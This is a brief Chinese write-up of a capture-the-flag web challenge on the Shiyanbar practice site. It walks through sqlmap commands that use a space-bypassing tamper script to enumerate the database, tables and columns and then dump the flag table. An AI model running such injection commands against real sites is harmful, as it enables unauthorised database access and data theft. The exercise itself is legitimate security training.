实验吧-简单的注sql入 writeup

来源:互联网 发布:js移除元素 编辑:程序博客网 时间:2024/06/05 04:42

解题链接: http://ctf5.shiyanbar.com/web/index_2.php

1.输入id值,通过回显发现题目应该是进行了空格过滤

2.使用sqlmap进行注入

   2.1  python sqlmap.py  -u “http://ctf5.shiyanbar.com/web/index_2.php?id=1” –random-agent  –tamper=space2comment.py 

         –current-db   查看当前数据库名称,返回web1


2.2  python sqlmap.py -u “http://ctf5.shiyanbar.com/web/index_2.php?id=1” –random-agent  –tamper=space2comment.py   

       –current-db –tables 查看当前数据库名称和数据库里所有的表

看到web1里有个flag表,看来key就在里面

 2.3  python sqlmap.py  -u “http://ctf5.shiyanbar.com/web/index_2.php?id=1” –random-agent  –tamper=space2comment.py

     –current-db –tables –columns  看到flag表里面有个flag列

                                  2.4  python sqlmap.py -u “http://ctf5.shiyanbar.com/web/index_2.php?id=1” –random-agent  –tamper=space2comment.py –current-db –tables –columns flag –dump